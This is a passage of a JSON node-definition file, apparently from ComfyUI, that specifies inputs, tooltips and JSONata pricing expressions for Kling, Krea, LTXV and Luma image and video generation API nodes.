"KlingImageToVideoWithAudio": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v2-6"]}], "start_frame": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Positive text prompt.", "multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["pro"]}], "duration": ["COMBO", {"multiselect": false, "options": [5, 10]}], "generate_audio": ["BOOLEAN", {"advanced": true, "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "start_frame", "prompt", "mode", "duration", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingImageToVideoWithAudio", "display_name": "Kling 2.6 Image(First Frame) to Video with Audio", "description": "", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.07 * widgets.duration * (widgets.generate_audio ? 2 : 1)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingMotionControl": {"input": {"required": {"prompt": ["STRING", {"multiline": true}], "reference_image": ["IMAGE", {}], "reference_video": ["VIDEO", {"tooltip": "Motion reference video used to drive movement/expression.\nDuration limits depend on character_orientation:\n - image: 3\u201310s (max 10s)\n - video: 3\u201330s (max 30s)"}], "keep_original_sound": ["BOOLEAN", {"default": true}], "character_orientation": ["COMBO", {"tooltip": "Controls where the character's facing/orientation comes from.\nvideo: movements, expressions, camera moves, and orientation follow the motion reference video (other details via prompt).\nimage: movements and expressions still follow the motion reference video, but the character orientation matches the reference image (camera/other details via prompt).", "multiselect": false, "options": ["video", "image"]}], "mode": ["COMBO", {"multiselect": false, "options": ["pro", "std"]}]}, "optional": {"model": ["COMBO", {"multiselect": false, "options": ["kling-v3", "kling-v2-6"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "reference_image", "reference_video", "keep_original_sound", "character_orientation", "mode"], "optional": ["model"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingMotionControl", "display_name": "Kling Motion Control", "description": "", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}, {"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"kling-v3\": {\"std\": 0.126, \"pro\": 0.168},\n \"kling-v2-6\": {\"std\": 0.07, \"pro\": 0.112}\n };\n $modelPrices := $lookup($prices, widgets.model);\n {\"type\":\"usd\",\"usd\": $lookup($modelPrices, widgets.mode), \"format\":{\"suffix\":\"/second\"}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingVideoNode": {"input": {"required": {"multi_shot": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generate a series of video segments with individual prompts and durations.", "options": [{"key": "disabled", "inputs": {"required": {"prompt": ["STRING", {"default": "", "multiline": true}], "negative_prompt": ["STRING", {"default": "", "multiline": true}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "display": "slider"}]}}}, {"key": "1 storyboard", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "2 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "3 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "4 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "5 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "6 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_6_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 6. Max 512 characters.", "default": "", "multiline": true}], "storyboard_6_duration": ["INT", {"tooltip": "Duration for storyboard segment 6 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}]}], "generate_audio": ["BOOLEAN", {"tooltip": "'kling-3.0-turbo' always generates native audio, so the audio toggle is ignored.", "default": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model and generation settings.", "options": [{"key": "kling-v3", "inputs": {"required": {"resolution": ["COMBO", {"default": "1080p", "multiselect": false, "options": ["4k", "1080p", "720p"]}], "aspect_ratio": ["COMBO", {"tooltip": "Ignored in image-to-video mode.", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}]}}}, {"key": "kling-3.0-turbo", "inputs": {"required": {"resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["1080p", "720p"]}], "aspect_ratio": ["COMBO", {"tooltip": "Ignored in image-to-video mode.", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "optional": {"start_frame": ["IMAGE", {"tooltip": "Optional start frame image. When connected, switches to image-to-video mode."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["multi_shot", "generate_audio", "model", "seed"], "optional": ["start_frame"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingVideoNode", "display_name": "Kling 3.0 Video", "description": "Generate videos with Kling V3. Supports text-to-video and image-to-video with optional storyboard multi-prompt and audio generation.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}, {"name": "multi_shot", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "multi_shot.duration", "type": "INT"}, {"name": "multi_shot.storyboard_1_duration", "type": "INT"}, {"name": "multi_shot.storyboard_2_duration", "type": "INT"}, {"name": "multi_shot.storyboard_3_duration", "type": "INT"}, {"name": "multi_shot.storyboard_4_duration", "type": "INT"}, {"name": "multi_shot.storyboard_5_duration", "type": "INT"}, {"name": "multi_shot.storyboard_6_duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $ms := widgets.multi_shot;\n $isSb := $ms != \"disabled\";\n $n := $isSb ? $number($substring($ms, 0, 1)) : 0;\n $d1 := $lookup(widgets, \"multi_shot.storyboard_1_duration\");\n $d2 := $n >= 2 ? $lookup(widgets, \"multi_shot.storyboard_2_duration\") : 0;\n $d3 := $n >= 3 ? $lookup(widgets, \"multi_shot.storyboard_3_duration\") : 0;\n $d4 := $n >= 4 ? $lookup(widgets, \"multi_shot.storyboard_4_duration\") : 0;\n $d5 := $n >= 5 ? $lookup(widgets, \"multi_shot.storyboard_5_duration\") : 0;\n $d6 := $n >= 6 ? $lookup(widgets, \"multi_shot.storyboard_6_duration\") : 0;\n $dur := $isSb ? $d1 + $d2 + $d3 + $d4 + $d5 + $d6 : $lookup(widgets, \"multi_shot.duration\");\n widgets.model = \"kling-3.0-turbo\"\n ? {\"type\":\"usd\",\"usd\": ($res = \"1080p\" ? 0.14 : 0.112) * $dur}\n : (\n $rates := {\n \"4k\": {\"off\": 0.42, \"on\": 0.42},\n \"1080p\": {\"off\": 0.112, \"on\": 0.168},\n \"720p\": {\"off\": 0.084, \"on\": 0.126}\n };\n $audio := widgets.generate_audio ? \"on\" : \"off\";\n $rate := $lookup($lookup($rates, $res), $audio);\n {\"type\":\"usd\",\"usd\": $rate * $dur}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingFirstLastFrameNode": {"input": {"required": {"prompt": ["STRING", {"default": "", "multiline": true}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "display": "slider"}], "first_frame": ["IMAGE", {}], "end_frame": ["IMAGE", {}], "generate_audio": ["BOOLEAN", {"default": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model and generation settings.", "options": [{"key": "kling-v3", "inputs": {"required": {"resolution": ["COMBO", {"default": "1080p", "multiselect": false, "options": ["4k", "1080p", "720p"]}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "duration", "first_frame", "end_frame", "generate_audio", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingFirstLastFrameNode", "display_name": "Kling 3.0 First-Last-Frame to Video", "description": "Generate videos with Kling V3 using first and last frames.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model.resolution", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}, {"name": "duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rates := {\n \"4k\": {\"off\": 0.42, \"on\": 0.42},\n \"1080p\": {\"off\": 0.112, \"on\": 0.168},\n \"720p\": {\"off\": 0.084, \"on\": 0.126}\n };\n $res := $lookup(widgets, \"model.resolution\");\n $audio := widgets.generate_audio ? \"on\" : \"off\";\n $rate := $lookup($lookup($rates, $res), $audio);\n {\"type\":\"usd\",\"usd\": $rate * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingAvatarNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Avatar reference image. Width and height must be at least 300px. Aspect ratio must be between 1:2.5 and 2.5:1."}], "sound_file": ["AUDIO", {"tooltip": "Audio input. Must be between 2 and 300 seconds in duration."}], "mode": ["COMBO", {"multiselect": false, "options": ["std", "pro"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "optional": {"prompt": ["STRING", {"tooltip": "Optional prompt to define avatar actions, emotions, and camera movements.", "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "sound_file", "mode", "seed"], "optional": ["prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingAvatarNode", "display_name": "Kling Avatar 2.0", "description": "Generate broadcast-style digital human videos from a single photo and an audio file.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"std\": 0.056, \"pro\": 0.112};\n {\"type\":\"usd\",\"usd\": $lookup($prices, widgets.mode), \"format\":{\"suffix\":\"/second\"}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Krea2ImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the image.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Krea 2 Medium is best for expressive illustrations; Krea 2 Large is best for expressive photorealism.", "options": [{"key": "Krea 2 Medium", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Output aspect ratio.", "multiselect": false, "options": ["1:1", "4:3", "3:2", "16:9", "2.35:1", "4:5", "2:3", "9:16"]}], "resolution": ["COMBO", {"tooltip": "Resolution scale.", "multiselect": false, "options": ["1K"]}], "creativity": ["COMBO", {"tooltip": "Prompt interpretation strength: raw stays closest to the prompt; high is most creative.", "default": "medium", "multiselect": false, "options": ["raw", "low", "medium", "high"]}]}, "optional": {"moodboard_id": ["STRING", {"tooltip": "Optional Krea moodboard UUID (e.g. from the Krea website). Leave empty to disable. Only one moodboard is supported per request.", "default": "", "multiline": false}], "moodboard_strength": ["FLOAT", {"tooltip": "Moodboard influence; ignored when moodboard_id is empty.", "default": 0.35, "min": -0.5, "max": 1.5, "step": 0.05}], "style_reference": ["KREA_STYLE_REF", {"tooltip": "Optional chain of style references (max 10) from Krea 2 Style Reference nodes."}]}}}, {"key": "Krea 2 Medium Turbo", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Output aspect ratio.", "multiselect": false, "options": ["1:1", "4:3", "3:2", "16:9", "2.35:1", "4:5", "2:3", "9:16"]}], "resolution": ["COMBO", {"tooltip": "Resolution scale.", "multiselect": false, "options": ["1K"]}], "creativity": ["COMBO", {"tooltip": "Prompt interpretation strength: raw stays closest to the prompt; high is most creative.", "default": "medium", "multiselect": false, "options": ["raw", "low", "medium", "high"]}]}, "optional": {"moodboard_id": ["STRING", {"tooltip": "Optional Krea moodboard UUID (e.g. from the Krea website). Leave empty to disable. Only one moodboard is supported per request.", "default": "", "multiline": false}], "moodboard_strength": ["FLOAT", {"tooltip": "Moodboard influence; ignored when moodboard_id is empty.", "default": 0.35, "min": -0.5, "max": 1.5, "step": 0.05}], "style_reference": ["KREA_STYLE_REF", {"tooltip": "Optional chain of style references (max 10) from Krea 2 Style Reference nodes."}]}}}, {"key": "Krea 2 Large", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Output aspect ratio.", "multiselect": false, "options": ["1:1", "4:3", "3:2", "16:9", "2.35:1", "4:5", "2:3", "9:16"]}], "resolution": ["COMBO", {"tooltip": "Resolution scale.", "multiselect": false, "options": ["1K"]}], "creativity": ["COMBO", {"tooltip": "Prompt interpretation strength: raw stays closest to the prompt; high is most creative.", "default": "medium", "multiselect": false, "options": ["raw", "low", "medium", "high"]}]}, "optional": {"moodboard_id": ["STRING", {"tooltip": "Optional Krea moodboard UUID (e.g. from the Krea website). Leave empty to disable. Only one moodboard is supported per request.", "default": "", "multiline": false}], "moodboard_strength": ["FLOAT", {"tooltip": "Moodboard influence; ignored when moodboard_id is empty.", "default": 0.35, "min": -0.5, "max": 1.5, "step": 0.05}], "style_reference": ["KREA_STYLE_REF", {"tooltip": "Optional chain of style references (max 10) from Krea 2 Style Reference nodes."}]}}}]}], "seed": ["INT", {"tooltip": "Random seed for reproducibility.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Krea2ImageNode", "display_name": "Krea 2 Image", "description": "Generate images via Krea 2 \u2014 pick Medium (expressive illustrations) or Large (expressive photorealism). Supports an optional moodboard and up to 10 chained image style references.", "python_module": "comfy_api_nodes.nodes_krea", "category": "partner/image/Krea", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.moodboard_id", "type": "STRING"}], "inputs": ["model.style_reference"], "input_groups": []}, "expr": "\n (\n $rates := {\n \"krea 2 medium turbo\": {\"text\": 0.015, \"style\": 0.0175, \"moodboard\": 0.02},\n \"krea 2 medium\": {\"text\": 0.03, \"style\": 0.035, \"moodboard\": 0.04},\n \"krea 2 large\": {\"text\": 0.06, \"style\": 0.065, \"moodboard\": 0.07}\n };\n $r := $lookup($rates, widgets.model);\n $hasMoodboard := $length($lookup(widgets, \"model.moodboard_id\")) > 0;\n $hasStyle := $lookup(inputs, \"model.style_reference\").connected;\n $usd := $hasMoodboard ? $r.moodboard : ($hasStyle ? $r.style : $r.text);\n {\"type\":\"usd\",\"usd\": $usd}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Krea2StyleReferenceNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Reference image whose style influences the generation."}], "strength": ["FLOAT", {"tooltip": "Reference strength; negative values invert the style influence.", "default": 1.0, "min": -2.0, "max": 2.0, "step": 0.05}]}, "optional": {"style_reference": ["KREA_STYLE_REF", {"tooltip": "Optional incoming chain of style references; this node appends one more."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"]}}, "input_order": {"required": ["image", "strength"], "optional": ["style_reference"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id"]}, "is_input_list": false, "output": ["KREA_STYLE_REF"], "output_is_list": [false], "output_name": ["style_reference"], "output_tooltips": [null], "output_matchtypes": null, "name": "Krea2StyleReferenceNode", "display_name": "Krea 2 Style Reference", "description": "Add an image style reference to a Krea 2 generation. Chain multiple Krea 2 Style Reference nodes (max 10) and feed the final `style_reference` output into Krea 2 Image. Each image is uploaded to ComfyAPI storage and passed as URL.", "python_module": "comfy_api_nodes.nodes_krea", "category": "partner/image/Krea", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LtxvApiTextToVideo": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["LTX-2 (Pro)", "LTX-2 (Fast)"]}], "prompt": ["STRING", {"default": "", "multiline": true}], "duration": ["COMBO", {"default": 8, "multiselect": false, "options": [6, 8, 10, 12, 14, 16, 18, 20]}], "resolution": ["COMBO", {"multiselect": false, "options": ["1920x1080", "2560x1440", "3840x2160"]}], "fps": ["COMBO", {"default": 25, "multiselect": false, "options": [25, 50]}]}, "optional": {"generate_audio": ["BOOLEAN", {"tooltip": "When true, the generated video will include AI-generated audio matching the scene.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "duration", "resolution", "fps"], "optional": ["generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LtxvApiTextToVideo", "display_name": "LTXV Text To Video", "description": "Professional-quality videos with customizable duration and resolution.", "python_module": "comfy_api_nodes.nodes_ltxv", "category": "partner/video/LTXV", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"ltx-2 (pro)\": {\"1920x1080\":0.06,\"2560x1440\":0.12,\"3840x2160\":0.24},\n \"ltx-2 (fast)\": {\"1920x1080\":0.04,\"2560x1440\":0.08,\"3840x2160\":0.16}\n };\n $modelPrices := $lookup($prices, $lowercase(widgets.model));\n $pps := $lookup($modelPrices, widgets.resolution);\n {\"type\":\"usd\",\"usd\": $pps * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LtxvApiImageToVideo": {"input": {"required": {"image": ["IMAGE", {"tooltip": "First frame to be used for the video."}], "model": ["COMBO", {"multiselect": false, "options": ["LTX-2 (Pro)", "LTX-2 (Fast)"]}], "prompt": ["STRING", {"default": "", "multiline": true}], "duration": ["COMBO", {"default": 8, "multiselect": false, "options": [6, 8, 10, 12, 14, 16, 18, 20]}], "resolution": ["COMBO", {"multiselect": false, "options": ["1920x1080", "2560x1440", "3840x2160"]}], "fps": ["COMBO", {"default": 25, "multiselect": false, "options": [25, 50]}]}, "optional": {"generate_audio": ["BOOLEAN", {"tooltip": "When true, the generated video will include AI-generated audio matching the scene.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "model", "prompt", "duration", "resolution", "fps"], "optional": ["generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LtxvApiImageToVideo", "display_name": "LTXV Image To Video", "description": "Professional-quality videos with customizable duration and resolution based on start image.", "python_module": "comfy_api_nodes.nodes_ltxv", "category": "partner/video/LTXV", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"ltx-2 (pro)\": {\"1920x1080\":0.06,\"2560x1440\":0.12,\"3840x2160\":0.24},\n \"ltx-2 (fast)\": {\"1920x1080\":0.04,\"2560x1440\":0.08,\"3840x2160\":0.16}\n };\n $modelPrices := $lookup($prices, $lowercase(widgets.model));\n $pps := $lookup($modelPrices, widgets.resolution);\n {\"type\":\"usd\",\"usd\": $pps * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["photon-1", "photon-flash-1"]}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["1:1", "16:9", "9:16", "4:3", "3:4", "21:9", "9:21"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "style_image_weight": ["FLOAT", {"tooltip": "Weight of style image. Ignored if no style_image provided.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}, "optional": {"image_luma_ref": ["LUMA_REF", {"tooltip": "Luma Reference node connection to influence generation with input images; up to 4 images can be considered."}], "style_image": ["IMAGE", {"tooltip": "Style reference image; only 1 image will be used."}], 